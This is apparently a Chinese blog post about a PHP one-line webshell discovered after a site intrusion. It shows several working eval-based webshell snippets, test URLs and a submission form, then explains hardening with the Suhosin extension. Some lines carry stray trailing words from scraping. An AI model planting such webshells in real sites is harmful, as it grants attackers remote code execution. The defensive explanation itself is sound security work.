前段時間,網站遭受了黑客的入侵,後來在排查中發現了一個php,裏面的內容只有不多:
<?php eval($_POST[asda123131323156341]);?>
而後網上搜索一下php的eval函數,發現這個eval函數帶有很大的安全隱患。
本地測試一下,在本地環境寫一個php,內容以下:
default.php:
<?php eval($_GET[asda]);?>
而後訪問一下:localhost/test/default.php?asda=phpinfo();
就能夠看到已經把phpinfo給執行了。
或者是訪問localhost/test/default.php?asda = echo 11111;一樣也會發現1111被echo出來了。
相似的手段還有:
<?php $code="${${eval($_GET[c])}}";?>
訪問localhost/test/default.php?c=phpinfo();便可看到
<?php
$code=addslashes($_GET[c]);
eval(""$code"");
?>
訪問localhost/test/default.php?c=
${${phpinfo()}};便可看到
利用能夠執行php的eval函數,黑客能夠用這個來上傳一些後臺木馬,好比說上傳php,而後經過url訪問這個php來得到更大的權限。這種稱爲一句話木馬的入侵。好比說:寫一個html,內容以下:
<html>
<body>
<form action="default.php" method="post">
<input type="text" name="c" value="phpinfo();">
<input type="submit" value="submit">
</form>
</body>
</html>
而後寫一個default.php,內容爲:
<?php eval($_POST[c]);?>
這樣的話,想執行什麼php就能夠直接提交運行便可。
因此:
eval()對於php安全來講具備很大的殺傷力,eval函數減弱了你的應用的安全性,所以通常不用的狀況下爲了防止相似以下的一句話木馬入侵,須要禁止!
然而網上不少說使用disable_functions禁止掉eval的方法都是錯誤的!
其實eval()是沒法用php.ini中的disable_functions禁止掉的 :
because eval() is a language construct and not a functionphp
eval是zend的,所以不是PHP_FUNCTION 函數;html
那麼php怎麼禁止eval呢?nginx
若是想禁掉eval能夠用php的擴展 Suhosin:c++
安裝Suhosin後在php.ini中load進來Suhosin.so,再加上suhosin.executor.disable_eval = on便可!apache
總結,php的eval函數在php中是沒法禁用的,所以咱們也只有使用插件了!瀏覽器
至於安裝suhosin來禁止eval函數的步驟爲:(未測試)安全
原文來自:Linux下php安裝suhosin函數
注意:只能用於cent os
說明:
php安裝目錄:/usr/local/php5
php.ini配置文件路徑:/usr/local/php5/etc/php.ini
Nginx安裝目錄:/usr/local/nginx
Nginx網站根目錄:/usr/local/nginx/html
一、安裝編譯工具
yum install wget make gcc gcc-c++ zlib-devel openssl openssl-devel pcre-devel kernel keyutils patch perl
二、安裝suhosin
cd /usr/local/src
#進入軟件包存放目錄
wget
http://download.suhosin.org/suhosin-0.9.33.tgz
#下載
tar zxvf suhosin-0.9.33.tgz
#解壓
cd suhosin-0.9.33
#進入安裝目錄
/usr/local/php5/bin/phpize
#用phpize生成configure配置文件
./configure --with-php-config=/usr/local/php5/bin/php-config
#配置
make
#編譯
make install
#安裝
安裝完成以後,出現下面的界面,記住如下路徑,後面會用到。
Installing shared extensions: /usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/
#suhosin模塊路徑
三、配置php支持suhosin
vi /usr/local/php5/etc/php.ini
#編輯配置文件,在最後一行添加如下內容
extension=/usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/suhosin.so
suhosin.executor.disable_eval = on
注意:suhosin.executor.disable_eval = on 的做用就是禁用eval函數
四、測試
vi /usr/local/nginx/html/phpinfo.php
#編輯
<?php
phpinfo();
?>
:wq!
#保存退出
service php-fpm restart
#重啓php-fpm
service nginx restart
#重啓nginx
注意:若是是apache的話也是同樣的,重啓apache便可。
瀏覽器打開phpinfo.php 以下圖所示,能夠看到suhosin相關信息
至此,Linux下php安裝suhosin安裝完成!
注意:禁用了 eval後,會有啥後果呢? 首先是代碼裏使用 eval 的軟件將不能使用好比大名鼎鼎的 Discuz! 論壇和 PHPWind論壇將不能正常使用,也影響到phpMyAdmin的舊版本,若是更新到目前最新的3.2.5,就能夠使用,只是默認有個警告的提示,在 config.inc.php 中加上 $cfg['SuhosinDisableWarning']=true;
就能夠取消這個警告了。
注意:除了eval以外,還有assert也是相似的用法。